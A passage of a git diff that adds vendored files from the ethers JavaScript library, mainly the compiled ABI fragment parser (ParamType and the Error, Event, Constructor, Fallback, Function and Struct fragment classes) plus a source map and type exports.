keywords matching allowed, returning the keywords +function consumeKeywords(tokens, allowed) { + const keywords = new Set(); + while (true) { + const keyword = tokens.peekType("KEYWORD"); + if (keyword == null || (allowed && !allowed.has(keyword))) { + break; + } + tokens.pop(); + if (keywords.has(keyword)) { + throw new Error(`duplicate keywords: ${JSON.stringify(keyword)}`); + } + keywords.add(keyword); + } + return Object.freeze(keywords); +} +// ...all visibility keywords, returning the coalesced mutability +function consumeMutability(tokens) { + let modifiers = consumeKeywords(tokens, KwVisib); + // Detect conflicting modifiers + allowSingle(modifiers, setify("constant payable nonpayable".split(" "))); + allowSingle(modifiers, setify("pure view payable nonpayable".split(" "))); + // Process mutability states + if (modifiers.has("view")) { + return "view"; + } + if (modifiers.has("pure")) { + return "pure"; + } + if (modifiers.has("payable")) { + return "payable"; + } + if (modifiers.has("nonpayable")) { + return "nonpayable"; + } + // Process legacy `constant` last + if (modifiers.has("constant")) { + return "view"; + } + return "nonpayable"; +} +// ...a parameter list, returning the ParamType list +function consumeParams(tokens, allowIndexed) { + return tokens.popParams().map((t) => ParamType.from(t, allowIndexed)); +} +// ...a gas limit, returning a BigNumber or null if none +function consumeGas(tokens) { + if (tokens.peekType("AT")) { + tokens.pop(); + if (tokens.peekType("NUMBER")) { + return (0, index_js_1.getBigInt)(tokens.pop().text); + } + throw new Error("invalid gas"); + } + return null; +} +function consumeEoi(tokens) { + if (tokens.length) { + throw new Error(`unexpected tokens at offset ${tokens.offset}: ${tokens.toString()}`); + } +} +const regexArrayType = new RegExp(/^(.*)\[([0-9]*)\]$/); +function verifyBasicType(type) { + const match = type.match(regexType); + (0, index_js_1.assertArgument)(match, "invalid type", "type", type); + if (type === "uint") { + return "uint256"; + } + if (type === "int") { + return "int256"; + } + if (match[2]) { + // bytesXX + const length = parseInt(match[2]); + (0, index_js_1.assertArgument)(length !== 0 && length <= 32, "invalid bytes length", "type", type); + } + else if (match[3]) { + // intXX or uintXX + const size = parseInt(match[3]); + (0, index_js_1.assertArgument)(size !== 0 && size <= 256 && (size % 8) === 0, "invalid numeric width", "type", type); + } + return type; +} +// Make the Fragment constructors effectively private +const _guard = {}; +const internal = Symbol.for("_ethers_internal"); +const ParamTypeInternal = "_ParamTypeInternal"; +const ErrorFragmentInternal = "_ErrorInternal"; +const EventFragmentInternal = "_EventInternal"; +const ConstructorFragmentInternal = "_ConstructorInternal"; +const FallbackFragmentInternal = "_FallbackInternal"; +const FunctionFragmentInternal = "_FunctionInternal"; +const StructFragmentInternal = "_StructInternal"; +/** + * Each input and output of a [[Fragment]] is an Array of **ParamType**. + */ +class ParamType { + /** + * The local name of the parameter (or ``""`` if unbound) + */ + name; + /** + * The fully qualified type (e.g. ``"address"``, ``"tuple(address)"``, + * ``"uint256[3][]"``) + */ + type; + /** + * The base type (e.g. ``"address"``, ``"tuple"``, ``"array"``) + */ + baseType; + /** + * True if the parameters is indexed. + * + * For non-indexable types this is ``null``. + */ + indexed; + /** + * The components for the tuple. + * + * For non-tuple types this is ``null``. + */ + components; + /** + * The array length, or ``-1`` for dynamic-lengthed arrays. + * + * For non-array types this is ``null``. + */ + arrayLength; + /** + * The type of each child in the array. + * + * For non-array types this is ``null``. + */ + arrayChildren; + /** + * @private + */ + constructor(guard, name, type, baseType, indexed, components, arrayLength, arrayChildren) { + (0, index_js_1.assertPrivate)(guard, _guard, "ParamType"); + Object.defineProperty(this, internal, { value: ParamTypeInternal }); + if (components) { + components = Object.freeze(components.slice()); + } + if (baseType === "array") { + if (arrayLength == null || arrayChildren == null) { + throw new Error(""); + } + } + else if (arrayLength != null || arrayChildren != null) { + throw new Error(""); + } + if (baseType === "tuple") { + if (components == null) { + throw new Error(""); + } + } + else if (components != null) { + throw new Error(""); + } + (0, index_js_1.defineProperties)(this, { + name, type, baseType, indexed, components, arrayLength, arrayChildren + }); + } + /** + * Return a string representation of this type. + * + * For example, + * + * ``sighash" => "(uint256,address)"`` + * + * ``"minimal" => "tuple(uint256,address) indexed"`` + * + * ``"full" => "tuple(uint256 foo, address bar) indexed baz"`` + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + const name = this.name || ""; + if (this.isArray()) { + const result = JSON.parse(this.arrayChildren.format("json")); + result.name = name; + result.type += `[${(this.arrayLength < 0 ? "" : String(this.arrayLength))}]`; + return JSON.stringify(result); + } + const result = { + type: ((this.baseType === "tuple") ? "tuple" : this.type), + name + }; + if (typeof (this.indexed) === "boolean") { + result.indexed = this.indexed; + } + if (this.isTuple()) { + result.components = this.components.map((c) => JSON.parse(c.format(format))); + } + return JSON.stringify(result); + } + let result = ""; + // Array + if (this.isArray()) { + result += this.arrayChildren.format(format); + result += `[${(this.arrayLength < 0 ? "" : String(this.arrayLength))}]`; + } + else { + if (this.isTuple()) { + result += "(" + this.components.map((comp) => comp.format(format)).join((format === "full") ? ", " : ",") + ")"; + } + else { + result += this.type; + } + } + if (format !== "sighash") { + if (this.indexed === true) { + result += " indexed"; + } + if (format === "full" && this.name) { + result += " " + this.name; + } + } + return result; + } + /** + * Returns true if %%this%% is an Array type. + * + * This provides a type gaurd ensuring that [[arrayChildren]] + * and [[arrayLength]] are non-null. + */ + isArray() { + return (this.baseType === "array"); + } + /** + * Returns true if %%this%% is a Tuple type. + * + * This provides a type gaurd ensuring that [[components]] + * is non-null. + */ + isTuple() { + return (this.baseType === "tuple"); + } + /** + * Returns true if %%this%% is an Indexable type. + * + * This provides a type gaurd ensuring that [[indexed]] + * is non-null. + */ + isIndexable() { + return (this.indexed != null); + } + /** + * Walks the **ParamType** with %%value%%, calling %%process%% + * on each type, destructing the %%value%% recursively. + */ + walk(value, process) { + if (this.isArray()) { + if (!Array.isArray(value)) { + throw new Error("invalid array value"); + } + if (this.arrayLength !== -1 && value.length !== this.arrayLength) { + throw new Error("array is wrong length"); + } + const _this = this; + return value.map((v) => (_this.arrayChildren.walk(v, process))); + } + if (this.isTuple()) { + if (!Array.isArray(value)) { + throw new Error("invalid tuple value"); + } + if (value.length !== this.components.length) { + throw new Error("array is wrong length"); + } + const _this = this; + return value.map((v, i) => (_this.components[i].walk(v, process))); + } + return process(this.type, value); + } + #walkAsync(promises, value, process, setValue) { + if (this.isArray()) { + if (!Array.isArray(value)) { + throw new Error("invalid array value"); + } + if (this.arrayLength !== -1 && value.length !== this.arrayLength) { + throw new Error("array is wrong length"); + } + const childType = this.arrayChildren; + const result = value.slice(); + result.forEach((value, index) => { + childType.#walkAsync(promises, value, process, (value) => { + result[index] = value; + }); + }); + setValue(result); + return; + } + if (this.isTuple()) { + const components = this.components; + // Convert the object into an array + let result; + if (Array.isArray(value)) { + result = value.slice(); + } + else { + if (value == null || typeof (value) !== "object") { + throw new Error("invalid tuple value"); + } + result = components.map((param) => { + if (!param.name) { + throw new Error("cannot use object value with unnamed components"); + } + if (!(param.name in value)) { + throw new Error(`missing value for component ${param.name}`); + } + return value[param.name]; + }); + } + if (result.length !== this.components.length) { + throw new Error("array is wrong length"); + } + result.forEach((value, index) => { + components[index].#walkAsync(promises, value, process, (value) => { + result[index] = value; + }); + }); + setValue(result); + return; + } + const result = process(this.type, value); + if (result.then) { + promises.push((async function () { setValue(await result); })()); + } + else { + setValue(result); + } + } + /** + * Walks the **ParamType** with %%value%%, asynchronously calling + * %%process%% on each type, destructing the %%value%% recursively. + * + * This can be used to resolve ENS names by walking and resolving each + * ``"address"`` type. + */ + async walkAsync(value, process) { + const promises = []; + const result = [value]; + this.#walkAsync(promises, value, process, (value) => { + result[0] = value; + }); + if (promises.length) { + await Promise.all(promises); + } + return result[0]; + } + /** + * Creates a new **ParamType** for %%obj%%. + * + * If %%allowIndexed%% then the ``indexed`` keyword is permitted, + * otherwise the ``indexed`` keyword will throw an error. + */ + static from(obj, allowIndexed) { + if (ParamType.isParamType(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return ParamType.from(lex(obj), allowIndexed); + } + catch (error) { + (0, index_js_1.assertArgument)(false, "invalid param type", "obj", obj); + } + } + else if (obj instanceof TokenString) { + let type = "", baseType = ""; + let comps = null; + if (consumeKeywords(obj, setify(["tuple"])).has("tuple") || obj.peekType("OPEN_PAREN")) { + // Tuple + baseType = "tuple"; + comps = obj.popParams().map((t) => ParamType.from(t)); + type = `tuple(${comps.map((c) => c.format()).join(",")})`; + } + else { + // Normal + type = verifyBasicType(obj.popType("TYPE")); + baseType = type; + } + // Check for Array + let arrayChildren = null; + let arrayLength = null; + while (obj.length && obj.peekType("BRACKET")) { + const bracket = obj.pop(); //arrays[i]; + arrayChildren = new ParamType(_guard, "", type, baseType, null, comps, arrayLength, arrayChildren); + arrayLength = bracket.value; + type += bracket.text; + baseType = "array"; + comps = null; + } + let indexed = null; + const keywords = consumeKeywords(obj, KwModifiers); + if (keywords.has("indexed")) { + if (!allowIndexed) { + throw new Error(""); + } + indexed = true; + } + const name = (obj.peekType("ID") ? obj.pop().text : ""); + if (obj.length) { + throw new Error("leftover tokens"); + } + return new ParamType(_guard, name, type, baseType, indexed, comps, arrayLength, arrayChildren); + } + const name = obj.name; + (0, index_js_1.assertArgument)(!name || (typeof (name) === "string" && name.match(regexId)), "invalid name", "obj.name", name); + let indexed = obj.indexed; + if (indexed != null) { + (0, index_js_1.assertArgument)(allowIndexed, "parameter cannot be indexed", "obj.indexed", obj.indexed); + indexed = !!indexed; + } + let type = obj.type; + let arrayMatch = type.match(regexArrayType); + if (arrayMatch) { + const arrayLength = parseInt(arrayMatch[2] || "-1"); + const arrayChildren = ParamType.from({ + type: arrayMatch[1], + components: obj.components + }); + return new ParamType(_guard, name || "", type, "array", indexed, null, arrayLength, arrayChildren); + } + if (type === "tuple" || type.startsWith("tuple(" /* fix: ) */) || type.startsWith("(" /* fix: ) */)) { + const comps = (obj.components != null) ? obj.components.map((c) => ParamType.from(c)) : null; + const tuple = new ParamType(_guard, name || "", type, "tuple", indexed, comps, null, null); + // @TODO: use lexer to validate and normalize type + return tuple; + } + type = verifyBasicType(obj.type); + return new ParamType(_guard, name || "", type, type, indexed, null, null, null); + } + /** + * Returns true if %%value%% is a **ParamType**. + */ + static isParamType(value) { + return (value && value[internal] === ParamTypeInternal); + } +} +exports.ParamType = ParamType; +/** + * An abstract class to represent An individual fragment from a parse ABI. + */ +class Fragment { + /** + * The type of the fragment. + */ + type; + /** + * The inputs for the fragment. + */ + inputs; + /** + * @private + */ + constructor(guard, type, inputs) { + (0, index_js_1.assertPrivate)(guard, _guard, "Fragment"); + inputs = Object.freeze(inputs.slice()); + (0, index_js_1.defineProperties)(this, { type, inputs }); + } + /** + * Creates a new **Fragment** for %%obj%%, wich can be any supported + * ABI frgament type. + */ + static from(obj) { + if (typeof (obj) === "string") { + // Try parsing JSON... + try { + Fragment.from(JSON.parse(obj)); + } + catch (e) { } + // ...otherwise, use the human-readable lexer + return Fragment.from(lex(obj)); + } + if (obj instanceof TokenString) { + // Human-readable ABI (already lexed) + const type = obj.peekKeyword(KwTypes); + switch (type) { + case "constructor": return ConstructorFragment.from(obj); + case "error": return ErrorFragment.from(obj); + case "event": return EventFragment.from(obj); + case "fallback": + case "receive": + return FallbackFragment.from(obj); + case "function": return FunctionFragment.from(obj); + case "struct": return StructFragment.from(obj); + } + } + else if (typeof (obj) === "object") { + // JSON ABI + switch (obj.type) { + case "constructor": return ConstructorFragment.from(obj); + case "error": return ErrorFragment.from(obj); + case "event": return EventFragment.from(obj); + case "fallback": + case "receive": + return FallbackFragment.from(obj); + case "function": return FunctionFragment.from(obj); + case "struct": return StructFragment.from(obj); + } + (0, index_js_1.assert)(false, `unsupported type: ${obj.type}`, "UNSUPPORTED_OPERATION", { + operation: "Fragment.from" + }); + } + (0, index_js_1.assertArgument)(false, "unsupported frgament object", "obj", obj); + } + /** + * Returns true if %%value%% is a [[ConstructorFragment]]. + */ + static isConstructor(value) { + return ConstructorFragment.isFragment(value); + } + /** + * Returns true if %%value%% is an [[ErrorFragment]]. + */ + static isError(value) { + return ErrorFragment.isFragment(value); + } + /** + * Returns true if %%value%% is an [[EventFragment]]. + */ + static isEvent(value) { + return EventFragment.isFragment(value); + } + /** + * Returns true if %%value%% is a [[FunctionFragment]]. + */ + static isFunction(value) { + return FunctionFragment.isFragment(value); + } + /** + * Returns true if %%value%% is a [[StructFragment]]. + */ + static isStruct(value) { + return StructFragment.isFragment(value); + } +} +exports.Fragment = Fragment; +/** + * An abstract class to represent An individual fragment + * which has a name from a parse ABI. + */ +class NamedFragment extends Fragment { + /** + * The name of the fragment. + */ + name; + /** + * @private + */ + constructor(guard, type, name, inputs) { + super(guard, type, inputs); + (0, index_js_1.assertArgument)(typeof (name) === "string" && name.match(regexId), "invalid identifier", "name", name); + inputs = Object.freeze(inputs.slice()); + (0, index_js_1.defineProperties)(this, { name }); + } +} +exports.NamedFragment = NamedFragment; +function joinParams(format, params) { + return "(" + params.map((p) => p.format(format)).join((format === "full") ? ", " : ",") + ")"; +} +/** + * A Fragment which represents a //Custom Error//. + */ +class ErrorFragment extends NamedFragment { + /** + * @private + */ + constructor(guard, name, inputs) { + super(guard, "error", name, inputs); + Object.defineProperty(this, internal, { value: ErrorFragmentInternal }); + } + /** + * The Custom Error selector. + */ + get selector() { + return (0, index_js_2.id)(this.format("sighash")).substring(0, 10); + } + /** + * Returns a string representation of this fragment as %%format%%. + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + return JSON.stringify({ + type: "error", + name: this.name, + inputs: this.inputs.map((input) => JSON.parse(input.format(format))), + }); + } + const result = []; + if (format !== "sighash") { + result.push("error"); + } + result.push(this.name + joinParams(format, this.inputs)); + return result.join(" "); + } + /** + * Returns a new **ErrorFragment** for %%obj%%. + */ + static from(obj) { + if (ErrorFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + return ErrorFragment.from(lex(obj)); + } + else if (obj instanceof TokenString) { + const name = consumeName("error", obj); + const inputs = consumeParams(obj); + consumeEoi(obj); + return new ErrorFragment(_guard, name, inputs); + } + return new ErrorFragment(_guard, obj.name, obj.inputs ? obj.inputs.map(ParamType.from) : []); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **ErrorFragment**. + */ + static isFragment(value) { + return (value && value[internal] === ErrorFragmentInternal); + } +} +exports.ErrorFragment = ErrorFragment; +/** + * A Fragment which represents an Event. + */ +class EventFragment extends NamedFragment { + /** + * Whether this event is anonymous. + */ + anonymous; + /** + * @private + */ + constructor(guard, name, inputs, anonymous) { + super(guard, "event", name, inputs); + Object.defineProperty(this, internal, { value: EventFragmentInternal }); + (0, index_js_1.defineProperties)(this, { anonymous }); + } + /** + * The Event topic hash. + */ + get topicHash() { + return (0, index_js_2.id)(this.format("sighash")); + } + /** + * Returns a string representation of this event as %%format%%. + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + return JSON.stringify({ + type: "event", + anonymous: this.anonymous, + name: this.name, + inputs: this.inputs.map((i) => JSON.parse(i.format(format))) + }); + } + const result = []; + if (format !== "sighash") { + result.push("event"); + } + result.push(this.name + joinParams(format, this.inputs)); + if (format !== "sighash" && this.anonymous) { + result.push("anonymous"); + } + return result.join(" "); + } + /** + * Return the topic hash for an event with %%name%% and %%params%%. + */ + static getTopicHash(name, params) { + params = (params || []).map((p) => ParamType.from(p)); + const fragment = new EventFragment(_guard, name, params, false); + return fragment.topicHash; + } + /** + * Returns a new **EventFragment** for %%obj%%. + */ + static from(obj) { + if (EventFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return EventFragment.from(lex(obj)); + } + catch (error) { + (0, index_js_1.assertArgument)(false, "invalid event fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const name = consumeName("event", obj); + const inputs = consumeParams(obj, true); + const anonymous = !!consumeKeywords(obj, setify(["anonymous"])).has("anonymous"); + consumeEoi(obj); + return new EventFragment(_guard, name, inputs, anonymous); + } + return new EventFragment(_guard, obj.name, obj.inputs ? obj.inputs.map((p) => ParamType.from(p, true)) : [], !!obj.anonymous); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **EventFragment**. + */ + static isFragment(value) { + return (value && value[internal] === EventFragmentInternal); + } +} +exports.EventFragment = EventFragment; +/** + * A Fragment which represents a constructor. + */ +class ConstructorFragment extends Fragment { + /** + * Whether the constructor can receive an endowment. + */ + payable; + /** + * The recommended gas limit for deployment or ``null``. + */ + gas; + /** + * @private + */ + constructor(guard, type, inputs, payable, gas) { + super(guard, type, inputs); + Object.defineProperty(this, internal, { value: ConstructorFragmentInternal }); + (0, index_js_1.defineProperties)(this, { payable, gas }); + } + /** + * Returns a string representation of this constructor as %%format%%. + */ + format(format) { + (0, index_js_1.assert)(format != null && format !== "sighash", "cannot format a constructor for sighash", "UNSUPPORTED_OPERATION", { operation: "format(sighash)" }); + if (format === "json") { + return JSON.stringify({ + type: "constructor", + stateMutability: (this.payable ? "payable" : "undefined"), + payable: this.payable, + gas: ((this.gas != null) ? this.gas : undefined), + inputs: this.inputs.map((i) => JSON.parse(i.format(format))) + }); + } + const result = [`constructor${joinParams(format, this.inputs)}`]; + if (this.payable) { + result.push("payable"); + } + if (this.gas != null) { + result.push(`@${this.gas.toString()}`); + } + return result.join(" "); + } + /** + * Returns a new **ConstructorFragment** for %%obj%%. + */ + static from(obj) { + if (ConstructorFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return ConstructorFragment.from(lex(obj)); + } + catch (error) { + (0, index_js_1.assertArgument)(false, "invalid constuctor fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + consumeKeywords(obj, setify(["constructor"])); + const inputs = consumeParams(obj); + const payable = !!consumeKeywords(obj, KwVisibDeploy).has("payable"); + const gas = consumeGas(obj); + consumeEoi(obj); + return new ConstructorFragment(_guard, "constructor", inputs, payable, gas); + } + return new ConstructorFragment(_guard, "constructor", obj.inputs ? obj.inputs.map(ParamType.from) : [], !!obj.payable, (obj.gas != null) ? obj.gas : null); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **ConstructorFragment**. + */ + static isFragment(value) { + return (value && value[internal] === ConstructorFragmentInternal); + } +} +exports.ConstructorFragment = ConstructorFragment; +/** + * A Fragment which represents a method. + */ +class FallbackFragment extends Fragment { + /** + * If the function can be sent value during invocation. + */ + payable; + constructor(guard, inputs, payable) { + super(guard, "fallback", inputs); + Object.defineProperty(this, internal, { value: FallbackFragmentInternal }); + (0, index_js_1.defineProperties)(this, { payable }); + } + /** + * Returns a string representation of this fallback as %%format%%. + */ + format(format) { + const type = ((this.inputs.length === 0) ? "receive" : "fallback"); + if (format === "json") { + const stateMutability = (this.payable ? "payable" : "nonpayable"); + return JSON.stringify({ type, stateMutability }); + } + return `${type}()${this.payable ? " payable" : ""}`; + } + /** + * Returns a new **FallbackFragment** for %%obj%%. + */ + static from(obj) { + if (FallbackFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return FallbackFragment.from(lex(obj)); + } + catch (error) { + (0, index_js_1.assertArgument)(false, "invalid fallback fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const errorObj = obj.toString(); + const topIsValid = obj.peekKeyword(setify(["fallback", "receive"])); + (0, index_js_1.assertArgument)(topIsValid, "type must be fallback or receive", "obj", errorObj); + const type = obj.popKeyword(setify(["fallback", "receive"])); + // receive() + if (type === "receive") { + const inputs = consumeParams(obj); + (0, index_js_1.assertArgument)(inputs.length === 0, `receive cannot have arguments`, "obj.inputs", inputs); + consumeKeywords(obj, setify(["payable"])); + consumeEoi(obj); + return new FallbackFragment(_guard, [], true); + } + // fallback() [payable] + // fallback(bytes) [payable] returns (bytes) + let inputs = consumeParams(obj); + if (inputs.length) { + (0, index_js_1.assertArgument)(inputs.length === 1 && inputs[0].type === "bytes", "invalid fallback inputs", "obj.inputs", inputs.map((i) => i.format("minimal")).join(", ")); + } + else { + inputs = [ParamType.from("bytes")]; + } + const mutability = consumeMutability(obj); + (0, index_js_1.assertArgument)(mutability === "nonpayable" || mutability === "payable", "fallback cannot be constants", "obj.stateMutability", mutability); + if (consumeKeywords(obj, setify(["returns"])).has("returns")) { + const outputs = consumeParams(obj); + (0, index_js_1.assertArgument)(outputs.length === 1 && outputs[0].type === "bytes", "invalid fallback outputs", "obj.outputs", outputs.map((i) => i.format("minimal")).join(", ")); + } + consumeEoi(obj); + return new FallbackFragment(_guard, inputs, mutability === "payable"); + } + if (obj.type === "receive") { + return new FallbackFragment(_guard, [], true); + } + if (obj.type === "fallback") { + const inputs = [ParamType.from("bytes")]; + const payable = (obj.stateMutability === "payable"); + return new FallbackFragment(_guard, inputs, payable); + } + (0, index_js_1.assertArgument)(false, "invalid fallback description", "obj", obj); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FallbackFragment**. + */ + static isFragment(value) { + return (value && value[internal] === FallbackFragmentInternal); + } +} +exports.FallbackFragment = FallbackFragment; +/** + * A Fragment which represents a method. + */ +class FunctionFragment extends NamedFragment { + /** + * If the function is constant (e.g. ``pure`` or ``view`` functions). + */ + constant; + /** + * The returned types for the result of calling this function. + */ + outputs; + /** + * The state mutability (e.g. ``payable``, ``nonpayable``, ``view`` + * or ``pure``) + */ + stateMutability; + /** + * If the function can be sent value during invocation. + */ + payable; + /** + * The recommended gas limit to send when calling this function. + */ + gas; + /** + * @private + */ + constructor(guard, name, stateMutability, inputs, outputs, gas) { + super(guard, "function", name, inputs); + Object.defineProperty(this, internal, { value: FunctionFragmentInternal }); + outputs = Object.freeze(outputs.slice()); + const constant = (stateMutability === "view" || stateMutability === "pure"); + const payable = (stateMutability === "payable"); + (0, index_js_1.defineProperties)(this, { constant, gas, outputs, payable, stateMutability }); + } + /** + * The Function selector. + */ + get selector() { + return (0, index_js_2.id)(this.format("sighash")).substring(0, 10); + } + /** + * Returns a string representation of this function as %%format%%. + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + return JSON.stringify({ + type: "function", + name: this.name, + constant: this.constant, + stateMutability: ((this.stateMutability !== "nonpayable") ? this.stateMutability : undefined), + payable: this.payable, + gas: ((this.gas != null) ? this.gas : undefined), + inputs: this.inputs.map((i) => JSON.parse(i.format(format))), + outputs: this.outputs.map((o) => JSON.parse(o.format(format))), + }); + } + const result = []; + if (format !== "sighash") { + result.push("function"); + } + result.push(this.name + joinParams(format, this.inputs)); + if (format !== "sighash") { + if (this.stateMutability !== "nonpayable") { + result.push(this.stateMutability); + } + if (this.outputs && this.outputs.length) { + result.push("returns"); + result.push(joinParams(format, this.outputs)); + } + if (this.gas != null) { + result.push(`@${this.gas.toString()}`); + } + } + return result.join(" "); + } + /** + * Return the selector for a function with %%name%% and %%params%%. + */ + static getSelector(name, params) { + params = (params || []).map((p) => ParamType.from(p)); + const fragment = new FunctionFragment(_guard, name, "view", params, [], null); + return fragment.selector; + } + /** + * Returns a new **FunctionFragment** for %%obj%%. + */ + static from(obj) { + if (FunctionFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return FunctionFragment.from(lex(obj)); + } + catch (error) { + (0, index_js_1.assertArgument)(false, "invalid function fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const name = consumeName("function", obj); + const inputs = consumeParams(obj); + const mutability = consumeMutability(obj); + let outputs = []; + if (consumeKeywords(obj, setify(["returns"])).has("returns")) { + outputs = consumeParams(obj); + } + const gas = consumeGas(obj); + consumeEoi(obj); + return new FunctionFragment(_guard, name, mutability, inputs, outputs, gas); + } + let stateMutability = obj.stateMutability; + // Use legacy Solidity ABI logic if stateMutability is missing + if (stateMutability == null) { + stateMutability = "payable"; + if (typeof (obj.constant) === "boolean") { + stateMutability = "view"; + if (!obj.constant) { + stateMutability = "payable"; + if (typeof (obj.payable) === "boolean" && !obj.payable) { + stateMutability = "nonpayable"; + } + } + } + else if (typeof (obj.payable) === "boolean" && !obj.payable) { + stateMutability = "nonpayable"; + } + } + // @TODO: verifyState for stateMutability (e.g. throw if + // payable: false but stateMutability is "nonpayable") + return new FunctionFragment(_guard, obj.name, stateMutability, obj.inputs ? obj.inputs.map(ParamType.from) : [], obj.outputs ? obj.outputs.map(ParamType.from) : [], (obj.gas != null) ? obj.gas : null); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FunctionFragment**. + */ + static isFragment(value) { + return (value && value[internal] === FunctionFragmentInternal); + } +} +exports.FunctionFragment = FunctionFragment; +/** + * A Fragment which represents a structure. + */ +class StructFragment extends NamedFragment { + /** + * @private + */ + constructor(guard, name, inputs) { + super(guard, "struct", name, inputs); + Object.defineProperty(this, internal, { value: StructFragmentInternal }); + } + /** + * Returns a string representation of this struct as %%format%%. + */ + format() { + throw new Error("@TODO"); + } + /** + * Returns a new **StructFragment** for %%obj%%. + */ + static from(obj) { + if (typeof (obj) === "string") { + try { + return StructFragment.from(lex(obj)); + } + catch (error) { + (0, index_js_1.assertArgument)(false, "invalid struct fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const name = consumeName("struct", obj); + const inputs = consumeParams(obj); + consumeEoi(obj); + return new StructFragment(_guard, name, inputs); + } + return new StructFragment(_guard, obj.name, obj.inputs ? obj.inputs.map(ParamType.from) : []); + } + // @TODO: fix this return type + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **StructFragment**. + */ + static isFragment(value) { + return (value && value[internal] === StructFragmentInternal); + } +} +exports.StructFragment = StructFragment; +//# sourceMappingURL=fragments.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/fragments.js.map b/node_modules/ethers/lib.commonjs/abi/fragments.js.map new file mode 100644 index 000000000000..e2668bf0c749 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/fragments.js.map @@ -0,0 +1 @@ +{"version":3,"file":"fragments.js","sourceRoot":"","sources":["../../src.ts/abi/fragments.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;GAUG;;;AAEH,gDAG2B;AAC3B,+CAAsC;AAgFrC,CAAC;AAoBF,qCAAqC;AACrC,SAAS,MAAM,CAAC,KAAoB;IAChC,MAAM,MAAM,GAAgB,IAAI,GAAG,EAAE,CAAC;IACtC,KAAK,CAAC,OAAO,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,MAAM,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;IACpC,OAAO,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;AACjC,CAAC;AAED,MAAM,cAAc,GAAG,kCAAkC,CAAC;AAC1D,MAAM,aAAa,GAAG,MAAM,CAAC,cAAc,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC;AAExD,sBAAsB;AACtB,MAAM,QAAQ,GAAG,sEAAsE,CAAC;AACxF,MAAM,OAAO,GAAG,MAAM,CAAC,QAAQ,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC;AAE5C,MAAM,QAAQ,GAAG,0DAA0D,CAAC;AAC5E,MAAM,OAAO,GAAG,MAAM,CAAC,QAAQ,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC;AAE5C,MAAM,YAAY,GAAG,yCAAyC,CAAC;AAC/D,MAAM,WAAW,GAAG,MAAM,CAAC,YAAY,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC;AAEpD,MAAM,QAAQ,GAAG,eAAe,CAAC;AAEjC,eAAe;AACf,MAAM,SAAS,GAAG,CAAE,QAAQ,EAAE,YAAY,EAAE,QAAQ,EAAE,QAAQ,CAAE,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;A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AC,CAAC,GAAG,CAAC,MAAM,CAAC,GAAG,CAAC,SAAS,CAAC,IAAI,CAAC,CAAA,CAAC,CAAC,EAAG,CAAC,CAAC;IAClG,CAAC;IAEL,8BAA8B;IAC1B;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,KAAU;QACxB,OAAO,CAAC,KAAK,IAAI,KAAK,CAAC,QAAQ,CAAC,KAAK,sBAAsB,CAAC,CAAC;IACjE,CAAC;CACJ;AA9CD,wCA8CC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/index.d.ts b/node_modules/ethers/lib.commonjs/abi/index.d.ts new file mode 100644 index 000000000000..2bf3993272ac --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/index.d.ts @@ -0,0 +1,18 @@ +/** + * The Application Binary Interface (ABI) describes how method input + * parameters should be encoded, their results decoded, and how to + * decode events and errors. + * + * See [About ABIs](docs-abi) for more details how they are used. + * + * @_section api/abi:Application Binary Interface [about-abi] + * @_navTitle: ABI + */ +export { AbiCoder } from "./abi-coder.js"; +export { decodeBytes32String, encodeBytes32String } from "./bytes32.js"; +export { ConstructorFragment, ErrorFragment, EventFragment, FallbackFragment, Fragment, FunctionFragment, NamedFragment, ParamType, StructFragment, } from "./fragments.js"; +export { checkResultErrors, Indexed, Interface, ErrorDescription, LogDescription, TransactionDescription, Result } from "./interface.js"; +export { Typed } from "./typed.js"; +export type { JsonFragment, JsonFragmentType, FormatType, FragmentType, ParamTypeWalkAsyncFunc, ParamTypeWalkFunc } from "./fragments.js"; +export type { InterfaceAbi, } from "./interface.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/index.d.ts.map b/node_modules/ethers/lib.commonjs/abi/index.d.ts.map new file mode 100644 index 000000000000..0d99c19b9d3a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/index.d.ts.map @@ -0,0 +1 @@ 